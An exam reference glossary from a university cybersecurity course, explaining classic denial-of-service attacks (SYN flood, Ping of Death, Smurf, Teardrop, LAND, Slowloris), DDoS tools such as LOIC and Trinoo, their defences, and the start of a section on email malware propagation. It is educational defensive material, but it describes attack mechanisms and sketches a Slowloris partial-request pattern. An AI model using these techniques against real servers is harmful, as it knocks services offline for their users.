In Nmap's SYN scan, receiving a SYN-ACK from a target port confirms the port is open (a service is listening). Nmap responds with RST to abort the connection rather than completing it with ACK.

Connection: SYN-ACK is step 2 of the TCP 3-Way Handshake. It triggers backlog buffer allocation, which is what the SYN Flood exhausts. SYN cookies encode connection state into the SYN-ACK's sequence number. In Nmap port scanning, SYN-ACK = port open; RST = port closed; no response = filtered.

Backlog Buffer

The backlog buffer (also called the SYN backlog or connection queue) is the finite-size data structure in the operating system's TCP stack that holds half-open connections — those that have received a SYN and sent a SYN-ACK but have not yet received the final ACK to complete the three-way handshake. Each half-open connection occupies one slot in the buffer.

WHY it matters: The backlog buffer is the resource exhausted by a SYN flood. Its finite size is the fundamental limitation that makes SYN flooding effective — once every slot is occupied by a spoofed half-open connection, no new connection (legitimate or otherwise) can be accepted. The

server sends RST or simply drops new SYN packets until buffer slots become available as timed-out entries are purged.

Historical context: Early BSD TCP implementations had a backlog of just 8 entries — trivially exhausted. Modern systems have much larger backlogs, configurable via kernel parameters, but even large backlogs can be exhausted by sufficiently high SYN flood rates. SYN cookies eliminate the backlog problem entirely by making the buffer unnecessary.

Connection: The backlog buffer is the specific resource targeted by SYN floods. SYN cookies eliminate it as an attack surface by deferring backlog entry allocation until the ACK is received. RST cookies achieve the same effect differently. The backlog buffer concept explains why SYN flood victims see legitimate connections being refused even though the server's CPU and memory are not saturated — the connection queue is full, not the hardware.

Ping of Death (PoD, 1997)

The Ping of Death was a DoS attack exploiting a bug in early TCP/IP implementations that caused systems to crash, freeze, or reboot when they received an ICMP echo request (ping) packet larger than 65,535 bytes — the maximum legal IPv4 packet size. The attack sent fragmented ICMP packets whose fragments, when reassembled, exceeded this limit. The flawed reassembly code would write beyond the allocated buffer (a buffer overflow), corrupting memory and crashing the system. Actively exploited circa 1996–1997.

WHY it matters: The Ping of Death demonstrates the principle that malformed or boundary-violating network input can crash systems rather than just disrupting traffic flow. A single packet (or small series of fragments) could crash a vulnerable server — an extreme example of DoS efficiency. It affected almost every platform of the era: Windows 95, Windows NT, macOS, Linux, Solaris, and many network devices.

The fix was patching the reassembly code to properly validate the total reassembled size before writing to the buffer. Modern systems are not vulnerable to the original PoD, but the general class of bug — buffer overflow during packet reassembly — has reappeared in various implementations since.

Connection: The Ping of Death is caused by a Buffer Overflow — the specific vulnerability class it exploits. It is distinct from a flood-based DoS: it does not require high bandwidth, just a single malformed packet sequence. It sits alongside SYN Flood (1996), Smurf (1997), Teardrop (1997), and LAND (1997) as the canonical late-1990s DoS attacks in the course. ICMP Echo Request is the protocol it weaponises.

Buffer Overflow (from PoD)

A buffer overflow occurs when a program writes data beyond the boundary of an allocated memory buffer — into adjacent memory regions it does not own. If input is not length-validated before being written to a fixed-size buffer, an input larger than the buffer size will overflow into adjacent memory, potentially corrupting data, control structures (return addresses on the stack), or causing a crash.

WHY it matters: In the Ping of Death context, the buffer overflow occurs in the IP fragment reassembly code — when fragments are combined to reconstruct a packet larger than 65,535 bytes, the reassembly code writes beyond its buffer, corrupting the OS kernel's memory and causing a crash or reboot. In the exploitation context more broadly, stack-based buffer overflows are one of the most historically significant vulnerability classes (CWE-120 / CWE-121), enabling remote code execution by overwriting the return address to point to attacker-controlled

shellcode.

Buffer overflows enabled some of the most significant historical exploits: the Morris Worm exploited a buffer overflow in fingerd; EternalBlue exploits an SMBv1 buffer overflow (CVE-2017-0144); many of the vulnerabilities in the course labs are buffer overflow variants.

Connection: Buffer overflow (from the PoD context) is listed in the DoS section because it is the mechanism that makes the Ping of Death a crash-inducing single-packet attack rather than a traffic flood. The broader significance of buffer overflows spans the entire course — they underlie EternalBlue, the Morris Worm, and many exploits in Metasploit. CWE-120 (Buffer Copy without Checking Size) and CWE-121 (Stack-Based Buffer Overflow) are two of the most consistently dangerous CWEs. RCE is the consequence when a buffer overflow is exploited for code execution rather than just a crash.

Remote Code Execution (RCE)

Remote Code Execution is a vulnerability class where an attacker can execute arbitrary code on a target system from a remote location — without physical access and without prior authorisation. RCE is the most severe category of vulnerability because it gives the attacker the ability to run any command on the target system with the privileges of the vulnerable process. CVSS scores for unauthenticated network-accessible RCE vulnerabilities are typically 9.0–10.0 Critical.

WHY it matters: RCE is the technical objective of most exploitation attempts. A shell obtained via RCE is the starting point for everything that follows: privilege escalation, lateral movement, persistence, data exfiltration, and ransomware deployment. EternalBlue delivers NT AUTHORITY\SYSTEM via RCE. Log4Shell (CVE-2021-44228, CVSS 10.0) delivers RCE via a logging injection. Shellshock (CVE-2014-6271) delivers RCE via environment variable injection in Bash.

RCE is relevant in the DoS section because buffer overflows (the mechanism behind Ping of Death) are also the mechanism behind RCE. The difference is the attacker's intent and the specifics of the overflow: a crash-inducing overflow overwrites critical memory with garbage; an RCE-enabling overflow carefully overwrites the return address to point to shellcode. Both use the same underlying vulnerability; the outcomes differ.

Connection: RCE is what Metasploit exploit modules deliver — they exploit a vulnerability to achieve remote code execution, then the payload (Meterpreter, reverse shell) provides the interactive access. EternalBlue, vsftpd backdoor, Shellshock, Log4Shell, CVE-2012-1823 (PHP CGI), CVE-2004-2687 (DistCC) — all are RCE vulnerabilities from the course labs. RCE is the highest-severity outcome of exploitation, placing it at the top of any vulnerability prioritisation scheme.

Smurf IP Attack (1997)

The Smurf attack is a DDoS amplification/reflection attack that exploits ICMP broadcast amplification. The attacker sends ICMP echo request (ping) packets with the victim's IP address forged as the source to the broadcast address of one or more networks. Every host on the broadcast network replies with an ICMP echo reply directed at the victim's IP. A single attacker packet generates one reply from every host on the broadcast network — on a 300-host network, one packet becomes 300 reply packets flooding the victim. Named after the first exploit tool used to automate it, "Smurf."

WHY it matters: Smurf attacks were highly effective in the late 1990s, capable of generating floods from amplification networks. They demonstrated the amplification attack principle (one spoofed packet → many reply packets) before modern DNS/NTP amplification attacks were possible. They also demonstrated that the attacking traffic comes from innocent third-party hosts (the broadcast network members), making IP-based blocking of the attack source impossible at the victim.

Countermeasures eliminated the attack: (1) Ingress filtering at ISPs prevents spoofed-source packets from leaving the attacker's network. (2) Routers configured not to forward directed broadcasts (RFC 2644) prevent the broadcast amplification. Both countermeasures are now standard, making classic Smurf attacks rare — but the principle survives in DNS and NTP amplification attacks.

Connection: Smurf is an Amplification Attack and a Reflection Attack using ICMP. It requires IP Address Spoofing (forging the victim's IP as source) and a Broadcast Address as the amplification point. The ICMP Echo Request is the specific packet type used. It sits alongside SYN Flood, Ping of Death, Teardrop, and LAND as the canonical 1990s DoS attacks. The Firewall section of the course notes Smurf as an attack that ingress/egress filtering defends against.

ICMP Echo Request

An ICMP (Internet Control Message Protocol) echo request is the network packet sent by the ping utility to test whether a host is reachable and measure round-trip latency. The target responds with an ICMP echo reply. ICMP operates at the network layer (Layer 3) and is used for network diagnostics, host discovery, and path MTU discovery.

WHY it matters in the DoS context: ICMP echo requests are weaponised in two classic DoS attacks. In the Ping of Death, an oversized ICMP echo request (exceeding 65,535 bytes when reassembled) triggers a buffer overflow crash. In the Smurf attack, ICMP echo requests with the victim's spoofed source IP are sent to broadcast addresses, generating floods of echo replies at the victim. ICMP echo is also used in host discovery (Nmap -PE, ping sweeps) as a reconnaissance technique.

Defensive consideration: Many networks block ICMP echo requests at the perimeter to prevent ping-based reconnaissance and as a legacy defence against ICMP-based DoS. However, blocking ICMP entirely breaks useful diagnostic functionality (path MTU discovery, traceroute) and merely forces Nmap to use TCP-based host discovery instead (-Pn, -PS).

Connection: ICMP Echo Request is the specific packet type in both Ping of Death and Smurf attacks. Nmap's -PE flag uses ICMP echo for host discovery. In the context of SYN cookies and firewalls, ICMP unreachable messages are returned for filtered ports. The -PU (UDP ping) and -PA (TCP ACK ping) in Nmap are alternatives when ICMP is blocked.

Broadcast Address

The broadcast address is a special IP address that addresses all hosts on a network segment simultaneously. In IPv4, the directed broadcast address for a subnet is the subnet address with all host bits set to 1 — for a /24 network (192.168.1.0/24), the broadcast address is 192.168.1.255. A packet sent to the broadcast address is delivered to every host on that network.

WHY it matters in the DoS context: Broadcast amplification is the mechanism of the Smurf attack. By sending ICMP echo requests to a broadcast address with the victim's IP forged as the

source, the attacker causes every host on the network to send an ICMP echo reply to the victim. A 256-host network amplifies the attacker's one packet into 256 reply packets directed at the victim. The larger the broadcast domain, the greater the amplification.

Modern networks block directed broadcast forwarding by default (since RFC 2644, 1999) — routers do not forward packets addressed to the directed broadcast address of a directly attached network from an external source. This effectively eliminated Smurf attacks but the underlying amplification principle persists in DNS and NTP amplification.

Connection: Broadcast addresses are the amplification mechanism in Smurf attacks. RFC 2644 deprecating forwarding of directed broadcasts is the countermeasure. The broadcast address concept also explains why ARP operates using broadcast (ARP requests are sent to the Ethernet broadcast address FF:FF:FF:FF:FF:FF to discover which MAC address owns a given IP).

Teardrop Fragmentation Attack (1997)

The Teardrop attack exploits a vulnerability in the IP fragment reassembly code of early operating systems. IP fragmentation allows large packets to be split into smaller fragments for transmission across networks with smaller maximum transmission units (MTUs). Each fragment specifies an offset indicating where it fits in the reassembled packet. Teardrop sends overlapping fragments — fragments whose offset values claim they overlap with previously received fragments — causing the flawed reassembly code to crash or freeze when it attempts to reconstruct the original packet from contradictory fragments.

WHY it matters: Like the Ping of Death, Teardrop required only a small number of specially crafted packets to crash a vulnerable system — not a traffic flood. It affected Windows 3.1, Windows 95, Windows NT, and early Linux kernels. It demonstrates the principle that malformed protocol data at the network layer can crash operating systems by triggering bugs in kernel networking code. A single attacker with minimal bandwidth could crash servers.

The fix was patching the reassembly code to handle overlapping fragments gracefully (discarding overlapping regions or rejecting the packet entirely). Modern systems handle overlapping fragments without crashing.

Connection: Teardrop is listed alongside Ping of Death, Smurf, SYN Flood, and LAND as the canonical 1990s DoS attacks. Both Teardrop and Ping of Death exploit fragment/packet handling bugs (buffer overflow or reassembly logic errors) in contrast to SYN Flood and Smurf which exploit protocol design properties. IP Fragmentation is the network-layer feature both attacks abuse. The Tiny Fragment Attack (in the Firewalls section) abuses the same fragmentation mechanism for firewall bypass rather than DoS.

LAND Attack (1997)

The LAND (Local Area Network Denial) attack sends a TCP SYN packet where the source IP address and source port are set equal to the destination IP address and destination port — both point to the same endpoint on the victim's machine. When the victim receives this packet, its TCP stack enters an infinite loop or crash attempting to complete a connection to itself, consuming CPU and potentially hanging or crashing the system.

WHY it matters: The LAND attack is a single-packet DoS requiring no flood — one specially crafted packet could crash or freeze vulnerable systems (Windows NT 4.0, Windows 95, Cisco IOS, some Unix variants). It exploits an edge case in TCP state machine implementations that did not correctly handle the degenerate case of a SYN where source and destination are

identical.

Modern TCP stacks correctly identify and drop LAND packets. The attack is historically significant as an example of how implementation bugs in protocol stacks — rather than protocol design flaws or traffic volume — can cause denial of service.

Connection: LAND uses a Spoofed Source IP (setting the source equal to the destination). It is listed alongside SYN Flood (1996), Ping of Death (1997), Smurf (1997), and Teardrop (1997) as the five canonical late-1990s DoS attacks. Like Ping of Death and Teardrop, it required only a single or small number of packets — contrasting with flood-based attacks that require volume.

Spoofed Source IP

IP source spoofing is the act of sending IP packets with a forged source IP address — setting the source IP field in the packet header to an address other than the sender's real IP. Because IP is a connectionless protocol with no built-in source address verification, any host can craft packets claiming any source address. UDP and ICMP are trivially spoofable; TCP spoofing is harder due to the stateful handshake (the attacker cannot see replies, making sequence number guessing required for blind spoofing).

WHY it matters: Spoofed source IPs enable multiple attack classes: Reflection/amplification DDoS (responses go to the victim, not the attacker), SYN floods (ACKs never arrive at the attacker, keeping connections half-open), LAND attacks (source equals destination), Smurf attacks (replies flood the spoofed source/victim), and identity concealment (traffic appears to originate from a trusted or innocent address). The inability to verify source IP authenticity at the IP layer is a fundamental design limitation of IPv4.

Countermeasure: Ingress filtering (RFC 2827 / BCP 38) — ISPs and network administrators configure routers to drop packets whose source IP addresses are not legitimate for the network they are received from. If an ISP's customer network is 192.168.1.0/24, any packet from that customer claiming a source IP outside that range is spoofed and should be dropped. Wide deployment of BCP 38 would eliminate most spoofing-based attacks, but adoption remains incomplete.

Connection: Spoofed source IPs are the enabling technique for Smurf, LAND, SYN Flood (with spoofed sources), and all reflection/amplification attacks. Ingress and egress filtering are the countermeasures in the Firewalls section. IPv6 does not inherently solve the spoofing problem, though IPsec with AH (Authentication Header) does provide source authentication.

Slowloris (Layer 7 attack)

Slowloris is a Layer 7 DoS tool and attack technique created by Robert "RSnake" Hansen (2009) that holds open as many HTTP connections to a target web server as possible by sending partial, incomplete HTTP requests very slowly — just fast enough to prevent the server's connection timeout from closing them. The attack gradually exhausts the server's maximum concurrent connection pool, blocking new connections from legitimate users without ever completing a single request or generating significant network traffic.

WHY it matters: Slowloris is highly effective against servers with limited worker thread pools (Apache with prefork MPM is especially vulnerable) and requires very little bandwidth from the attacker — a single machine with a modest internet connection can take down a server that handles thousands of legitimate users. Because the traffic consists of slow but valid-looking HTTP headers, volumetric defences (scrubbing services, bandwidth-based rate limiting) do not detect or stop it. The attack is stealthy and persistent.

How it works mechanically: Slowloris opens many connections to the target and sends HTTP request headers slowly — one header line every few seconds, never completing the request with the blank line that signals request completion. Apache pre-allocates a worker thread per connection and keeps it waiting for the complete request. With enough slow connections, all workers are occupied and new connections queue or are rejected.

Connection: Slowloris is the canonical Layer 7 DoS attack. The Partial HTTP Request term (below) describes the specific mechanism. Defences include: using servers with event-driven architectures (nginx, which handles thousands of connections per thread rather than one), setting aggressive connection timeouts, limiting connections per IP, and using reverse proxies (Cloudflare) that complete HTTP connections on behalf of the origin server.

Partial HTTP Request (Slowloris mechanism)

A partial HTTP request is an HTTP request that has begun (headers are being sent) but has not been completed — the blank line that signals the end of the HTTP request header section has not been sent. Web servers hold connections open while waiting for the complete request, as network delays can legitimately cause headers to arrive slowly. Slowloris exploits this legitimate behaviour by deliberately sending headers very slowly and never completing the request, keeping connections occupied indefinitely.

WHY it matters: The partial HTTP request is the mechanism that makes Slowloris work. The server cannot unilaterally close the connection once a valid request has begun arriving — doing so would break legitimate slow connections (mobile users on poor networks, slow APIs). By mimicking the timing of a legitimately slow connection, Slowloris stays within the server's timeout threshold while permanently occupying a connection slot.

A typical Slowloris partial request might look like: GET / HTTP/1.1 Host: target.com
X-Custom-Header: ... (then a new header every 10-15 seconds, never the final). Each connection appears to be progressing and thus stays open.

Connection: Partial HTTP requests are the technical mechanism of Slowloris. The defences are: aggressive connection timeouts for incomplete requests (distinct from timeouts for idle connections), connection rate limiting per IP, and event-driven server architectures (nginx) that do not dedicate a thread per connection. Reverse proxies like Cloudflare that buffer complete requests before forwarding to the origin server also defeat Slowloris — the proxy handles the slow connection; the origin only sees completed requests.

LOIC (Low Orbit Ion Cannon)

LOIC (Low Orbit Ion Cannon) is an open-source network stress testing and DDoS attack tool originally developed for load testing but adopted by hacktivist groups — most notably Anonymous — as a voluntary DDoS weapon. It floods a target with TCP, UDP, or HTTP traffic from a single machine or, in its hivemind mode, coordinated across many voluntary participants. The tool is GUI-based and requires no technical skill, making it accessible to non-technical participants in coordinated attack campaigns.

WHY it matters: LOIC demonstrated that effective DDoS attacks do not require botnets of compromised machines — a sufficiently large group of voluntary participants using LOIC simultaneously can generate significant traffic. Operation Payback (2010) used LOIC to target PayPal, Mastercard, Visa, and others in retaliation for cutting off services to WikiLeaks. However, LOIC does not mask the attacker's IP address — every participant's real IP appears in the target's access logs, leading to numerous arrests.

LOIC's legacy: It lowered the technical barrier for DDoS to near zero, politicised DDoS as a form of protest, and demonstrated that DDoS tools could be recruited voluntarily rather than through malware infection. HOIC (High Orbit Ion Cannon) was developed as a more powerful successor with basic evasion features.

Connection: LOIC and HOIC are listed as DDoS tools alongside Tribal Flood Network (TFN), Stacheldraht, and Trinoo. Operation Payback / Anonymous is the named campaign that brought LOIC to public attention. The absence of IP masking in LOIC distinguishes it from botnet-based DDoS where the attacker remains hidden behind compromised machines.

HOIC (High Orbit Ion Cannon)

HOIC (High Orbit Ion Cannon) is an open-source DDoS tool developed as a more capable successor to LOIC. It operates at Layer 7 (HTTP flooding) rather than LOIC's mixed TCP/UDP/HTTP approach, can use multiple URLs and random user agents to make traffic harder to filter, and supports "booster" scripts that add randomisation to evade simple pattern-based rate limiting. Like LOIC, it requires no technical skill but produces more sophisticated Layer 7 flood traffic.

WHY it matters: HOIC's HTTP-based flooding with header randomisation makes it harder to block using simple firewall rules than LOIC's more uniform traffic. By varying user agents, referrers, and request parameters, HOIC traffic more closely resembles legitimate web traffic, requiring application-aware filtering to distinguish. It was used in Anonymous campaigns following LOIC and represents the evolution of volunteer DDoS tools toward more sophisticated evasion.

HOIC still does not anonymise participants' IP addresses, retaining the same legal risk as LOIC. Both are listed in the course as examples of DDoS tools that contributed to the democratisation of DDoS attacks.

Connection: HOIC and LOIC are paired as the volunteer DDoS tools used by Anonymous/Operation Payback. HOIC's Layer 7 HTTP flooding connects it to the Slowloris / Layer 7 attack category. The contrast between HOIC (application layer, header-randomised) and LOIC (transport/application layer, uniform traffic) illustrates the evolution of DDoS tools toward evasion of simple defences.

Tribal Flood Network (TFN / TFN2K)

Tribal Flood Network (TFN) and its successor TFN2K were early DDoS tools developed in 1999 by "Mixer." They established the client-server botnet architecture for coordinated DDoS: a handler (master) program communicates with many agent (daemon) programs running on compromised machines, directing them to launch coordinated DoS attacks. TFN supported ICMP flood, SYN flood, UDP flood, and Smurf attacks. TFN2K added encryption of C2 communications and TCP/UDP/ICMP as alternative C2 channels to evade detection.

WHY it matters: TFN and TFN2K were among the first widely distributed DDoS frameworks demonstrating that coordinated attacks from many sources could overwhelm any single target. The 2000 DDoS attacks against Yahoo, Amazon, eBay, CNN, and others were partly attributed to TFN2K variants. These attacks brought DDoS into mainstream public and legal consciousness and prompted the first major law enforcement responses to DDoS.

TFN2K's architecture — separate attacker controller, intermediate handlers, and large numbers of compromised agents — is the direct ancestor of modern botnet C2 architectures.

Connection: TFN/TFN2K are listed alongside Stacheldraht and Trinoo as the three canonical early DDoS botnet tools. All three date from 1999–2000 and represent the emergence of coordinated DDoS as a practical attack capability. The client-server C2 model they pioneered is now standard in all modern botnets.

Stacheldraht

Stacheldraht (German for "barbed wire") was a DDoS tool combining features of TFN and Trinoo, developed around 1999. It supported ICMP flood, SYN flood, UDP flood, and Smurf attacks, and added encrypted communications between the attacker's client and the handler (master) programs using a symmetric cipher. The encryption made C2 traffic harder to detect and analyse compared to Trinoo and early TFN. It also incorporated automatic update functionality, allowing the attacker to push new agent binaries to compromised machines.

WHY it matters: Stacheldraht's encrypted C2 and auto-update capability represented a significant sophistication increase over earlier DDoS tools — features that are now standard in modern botnet malware. The name "barbed wire" reflects its layered defensive design (hard to pull apart/analyse). It was used in attacks on major US government and commercial sites around 1999–2000.

Stacheldraht exemplifies the arms race in DDoS tool development: as defenders improved detection of plaintext C2 traffic (Trinoo, early TFN), attackers responded with encryption (Stacheldraht, TFN2K). This arms race continues in modern malware with Tor-based and domain-generation-algorithm C2.

Connection: Stacheldraht is listed alongside TFN/TFN2K and Trinoo as one of the three canonical early DDoS botnet frameworks. All three use a hierarchical C2 architecture (attacker → handlers → agents/daemons → victims) that defined the botnet model for the next two decades.

Trinoo

Trinoo (also spelled trin00) was one of the first widely deployed DDoS botnet frameworks, discovered in 1999. It used a client-server architecture: an attacker communicated with master (handler) programs that in turn directed multiple daemon (agent) programs running on compromised Unix systems to launch UDP flood attacks against targets. The C2 communications were unencrypted and used fixed ports, making detection and attribution relatively straightforward by modern standards.

WHY it matters: Trinoo was historically significant as one of the first tools demonstrating that a single attacker could direct hundreds of compromised machines to overwhelm a target simultaneously. Its discovery and analysis provided the security community with the first detailed understanding of distributed DoS coordination. The subsequent Trinoo attacks on University of Minnesota (1999, 127 compromised systems flooding for two days) were a wake-up call.

Trinoo's unencrypted, fixed-port C2 communications made it relatively easy to detect via IDS and netflow analysis. This limitation directly motivated the development of Stacheldraht (which added encryption) and TFN2K (which diversified C2 channels).

Connection: Trinoo, TFN/TFN2K, and Stacheldraht are the three DDoS botnet tools from 1999–2000 listed in the course. Trinoo is the simplest and earliest; Stacheldraht the most sophisticated of the three. All three demonstrate the botnet + C2 architecture that underlies modern DDoS. The evolution from Trinoo (unencrypted, UDP flood only) through Stacheldraht (encrypted, multiple attack types) illustrates the rapid development of attack tools in the late

1990s.

Operation Payback / Anonymous (LOIC campaigns)

Operation Payback was a 2010 coordinated DDoS campaign by the hacktivist collective Anonymous, targeting organisations perceived as opponents of internet freedom — initially the Motion Picture Association of America (MPAA) and Recording Industry Association of America (RIAA) in response to anti-piracy actions, then expanding to target PayPal, Mastercard, Visa, Bank of America, and Amazon in retaliation for cutting off services to WikiLeaks after the publication of diplomatic cables. LOIC was the primary tool, distributed to voluntary participants via IRC and forums.

WHY it matters: Operation Payback was a landmark event that brought DDoS into mainstream political discourse as a form of protest and demonstrated that non-technical users could participate in DDoS attacks through accessible GUI tools. It also demonstrated the legal consequences of such participation — because LOIC does not mask IP addresses, dozens of participants were arrested and prosecuted in multiple countries. PayPal and Mastercard experienced significant outages.

The campaign illustrated the tension between DDoS as political protest ("hacktivism") and criminal law — which universally criminalises DDoS regardless of the political motivation. It also demonstrated the limits of voluntary DDoS tools (LOIC traffic was relatively easy to filter once IP patterns were identified) compared to botnet-based attacks.

Connection: Operation Payback is the named campaign for LOIC in the course. It connects to LOIC, HOIC, and the broader hacktivism context (Anonymous as a hacktivist group). The legal dimension — participants arrested because LOIC exposed their IPs — directly relates to the ethical and legal constraints on offensive tools covered in the Penetration Testing section.

Reverse Proxy (e.g., Cloudflare)

A reverse proxy is a server that sits in front of one or more origin servers and intercepts all incoming requests on behalf of those servers. Clients (including attackers) connect to the reverse proxy, not directly to the origin. The proxy forwards legitimate requests to the origin and returns responses to the client. In the DDoS defence context, a reverse proxy with global distributed infrastructure (Cloudflare, Akamai, AWS CloudFront) absorbs and filters DDoS traffic before it reaches the origin server.

WHY it matters: A reverse proxy fundamentally changes the DDoS problem. Instead of the target absorbing attack traffic directly, the proxy network — with hundreds of globally distributed Points of Presence (PoPs) and aggregate bandwidth of hundreds of Tbps — absorbs the attack. The attack traffic is distributed across many PoPs and scrubbed; legitimate traffic is forwarded to the origin. The origin server's IP address is hidden behind the proxy, preventing attackers from targeting it directly.

Reverse proxies also defend against Slowloris and other Layer 7 attacks by completing HTTP connections on behalf of the origin — slow connections terminate at the proxy, the origin only receives completed requests. This eliminates the Slowloris attack vector for the origin.

Connection: Cloudflare is the named example. A reverse proxy is the architectural expression of the scrubbing service concept at the application layer. It hides the origin IP (preventing direct-to-origin attacks that bypass the proxy), absorbs volumetric floods, filters Layer 7 attacks, and provides rate limiting. It is one of the primary countermeasures against both volumetric DDoS and Layer 7 attacks like Slowloris.

Scrubbing Service

A scrubbing service (or scrubbing centre) is a DDoS mitigation service that diverts the victim's internet traffic to large, specialised filtering infrastructure — the scrubbing centre — where attack traffic is identified and removed, and clean traffic is forwarded to the victim. Traffic is diverted using BGP route announcements that make the victim's IP space reachable via the scrubbing centre rather than directly.

WHY it matters: For bandwidth exhaustion attacks (volumetric DDoS), the problem cannot be solved at the victim's premises — the victim's internet connection is already saturated before traffic reaches their equipment. Scrubbing services solve this by diverting traffic upstream, where the scrubbing centre has sufficient bandwidth capacity (hundreds of Gbps to Tbps) to absorb the flood, remove attack packets, and forward only clean traffic via a GRE tunnel or BGP route back to the victim.

How diversion works: The victim's ISP or the scrubbing service provider announces BGP routes for the victim's IP addresses via the scrubbing centre. Internet traffic destined for the victim is routed to the scrubbing centre first. The centre distinguishes attack from legitimate traffic using behavioural analysis, rate limiting, and signature matching, then forwards clean traffic to the victim via a GRE tunnel.

Connection: Scrubbing services address volumetric/bandwidth exhaustion attacks that reverse proxies may not fully cover (especially for non-HTTP protocols). They are complementary: Cloudflare-style reverse proxies work for HTTP/S applications; scrubbing centres work for any IP protocol. Both are upstream mitigation — they handle the traffic before it reaches the victim's network. Providers include Akamai Prolexic, Cloudflare Magic Transit, and Radware.

Rate Limiting

Rate limiting is a control that restricts the number of requests or connections a source can make within a given time window. It prevents any single source from consuming a disproportionate share of server resources, whether through malicious flooding or unintentional API abuse. At the network level, rate limiting limits packets per second from a given source IP. At the application level, it limits requests per second per user, per IP, or per API key.

WHY it matters: Rate limiting is a simple and broadly applicable defence that limits the impact of DoS attacks, brute force attacks, credential stuffing, and API abuse without completely blocking any source. A legitimate user making a few hundred requests per hour is unaffected; an attacker making tens of thousands of requests per second is throttled to the permitted rate, reducing their impact to manageable levels. It is one of the first defences deployed against any volumetric or repetition-based attack.

Rate limiting granularity matters: Per-IP rate limiting is effective against single-source attacks but ineffective against distributed attacks from thousands of IPs (each IP stays below the per-IP threshold). Per-session or per-account rate limiting catches abuse through authenticated channels. Application-aware rate limiting (limiting specific high-cost endpoints like login or search) targets the resources most valuable to attackers.

Connection: Rate limiting is listed as a defence against both DoS (in this section) and brute force attacks (in the Brute Force section). Lockout policies are a form of rate limiting applied to authentication. SYN cookies eliminate the need for rate limiting specifically for SYN floods. Slowloris defeats per-connection rate limiting because it uses legitimate connection rates. Admission control (next term) is rate limiting applied to connection establishment.

Admission Control

Admission control is a mechanism that manages access to a resource by limiting how many new requests, connections, or sessions are accepted when the resource is under stress — actively rejecting new requests when capacity is nearing exhaustion to protect the quality of service for connections that are already accepted. Rather than allowing every new request to degrade the service for all users, admission control sacrifices new arrivals to preserve service for existing users.

WHY it matters: Under DDoS conditions, a server that accepts every connection until it collapses provides degraded service to all users as load increases, then crashes and provides service to no one. Admission control defines a maximum connection count or queue depth and rejects new connections once that threshold is reached — providing full-quality service to connections already in flight while gracefully refusing new ones. This is preferable to total service collapse.

Admission control in practice: Web servers limiting the maximum number of concurrent connections. Load balancers returning 503 Service Unavailable when backends are saturated. Telephony systems implementing call admission control (CAC) to prevent network congestion. Rate limiting is a form of admission control applied to connection rate rather than total connection count.

Connection: Admission control is a component of Graceful Degradation — the principle of maintaining partial functionality under attack rather than total collapse. It connects to rate limiting (limiting arrival rate) and to the backlog buffer concept (the TCP backlog is a form of admission queue with a fixed admission limit). During SYN floods, admission control on new connection rate complements SYN cookies by reducing the flood's impact even before cryptographic verification.

SYN Cookies (defence subsection)

SYN cookies (in the defences context) is the same cryptographic technique described in the SYN Cookie term above — included separately in the defences list to ensure it is findable as a countermeasure rather than only as a protocol concept. To summarise: SYN cookies make the server stateless during TCP handshake by encoding connection parameters into the Initial Sequence Number of the SYN-ACK. No backlog entry is allocated until a valid ACK is received, defeating SYN floods that fill the backlog with spoofed half-open connections.

WHY it matters (as a defence): SYN cookies are the definitive technical solution to SYN flood attacks at the OS level. They require no changes to the client, are transparent to well-behaved TCP implementations, and can be activated dynamically under attack without disrupting existing connections. Linux and Windows both implement SYN cookies. Enabled by default or automatically activated under load in modern OS kernels.

Connection: SYN Cookies are listed in both the attack mechanism section (as the countermeasure to SYN Flood) and here in the defences list. This duplication in the word list ensures that whether you look up the attack or the defence, you find the connection. RST Cookies are the alternative. Combining SYN cookies with upstream rate limiting provides layered defence against SYN floods.

Graceful Degradation

Graceful degradation is the design principle and operational practice of ensuring that a system continues to provide reduced but functional service under attack, failure, or overload conditions — rather than failing catastrophically and providing no service at all. Under DDoS conditions, a

system implementing graceful degradation might: serve cached versions of content, disable non-essential features, queue requests with transparent waiting indicators, or reduce functionality for unauthenticated users while maintaining full service for authenticated ones.

WHY it matters: The binary outcome — either full service or complete outage — is not the only option. A system designed for graceful degradation ensures that even under severe attack, some useful level of service continues. For a news website, serving cached article pages without dynamic features is far better than total unavailability. For a banking application, read-only access (view balance) while write operations are queued is better than a complete outage.

Graceful degradation requires planning — it cannot be retrofitted easily once the system is under attack. Architecture decisions (caching layers, CDNs, static fallback pages, feature flags, database connection pooling with overflow queuing) must be made in advance. It is the resilience-oriented complement to availability defences: defences try to stop the attack; graceful degradation manages the impact when defences are imperfect.

Connection: Graceful degradation is the operational expression of the Availability defence in depth. It connects to admission control (gracefully refusing new requests when capacity is exceeded), reverse proxies and CDNs (which serve cached content during origin unavailability), and backups/disaster recovery (which restore service after disruption). In GDPR/NIS2 terms, resilience and the ability to restore availability are explicit requirements — graceful degradation is one mechanism for meeting them.

■ EMAIL PROPAGATION

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Email Propagation

Email propagation is the use of email as a delivery and spread mechanism for malware. It is one of the oldest and most consistently effective malware distribution channels. A malware-infected machine or a controlled spam infrastructure sends emails containing malicious content — attachments, links to malicious downloads, or embedded scripts — to contacts harvested from the infected machine's address book, corporate directory, or purchased spam lists.

WHY it matters: Email is the single most common initial access vector in cyberattacks. Phishing (targeted deceptive email) and spam-based malware distribution together account for the majority of ransomware infections, credential theft campaigns, and corporate breaches. Email propagation is effective because it exploits human trust — a message appearing to come from a known colleague, a bank, or a government agency carries inherent credibility.

Two distinct models: Automated propagation (the malware itself reads the victim's address book and sends copies of itself to all contacts — this is how email worms like Melissa and ILOVEYOU spread explosively in the late 1990s and early 2000s). Attacker-controlled distribution (spam campaigns or spear-phishing where the attacker controls the sending infrastructure and crafts emails to deceive recipients into opening attachments or clicking links).

Connection: Email propagation is the primary delivery Vector for macro viruses and staged delivery payloads. SMTP is the underlying protocol; SPF, DKIM, and DMARC are the authentication mechanisms designed to prevent sender spoofing that enables deceptive email propagation. The Phishing Technical section of the course covers the spoofing and authentication aspects in depth. Covert Sending (below) is the technique by which malware on a compromised machine sends emails without the user's knowledge.

Attachment

An email attachment is a file sent alongside an email message. In the malware propagation context, a malicious attachment is a file that, when opened, executes or enables malicious code. Malicious attachments are the oldest and still among the most effective malware delivery mechanisms, because they bypass network-layer defences (the email arrives as legitimate SMTP traffic) and rely on human action to execute.

